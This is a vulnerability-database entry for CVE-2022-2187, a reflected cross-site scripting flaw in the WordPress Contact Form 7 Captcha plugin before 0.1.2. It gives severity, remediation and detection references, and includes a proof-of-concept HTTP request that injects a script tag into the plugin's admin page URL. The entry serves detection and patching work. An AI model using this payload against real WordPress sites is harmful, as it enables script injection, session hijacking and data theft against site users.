🔙 목록으로 돌아가기

CVE-2022-2187: WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting

TitleWordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting
AuthorFor3stCo1d
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.07773
CVE IDCVE-2022-2187
CWE IDCWE-79
Tags cve cve2022 wpscan wordpress xss wp-plugin wp contact_form_7_captcha_project vuln

🔍 Vulnerability Description

WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER[‘REQUEST_URI’] parameter before outputting it back in an attribute.

🌐 HTTP Request

GET /wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2187.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2187.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A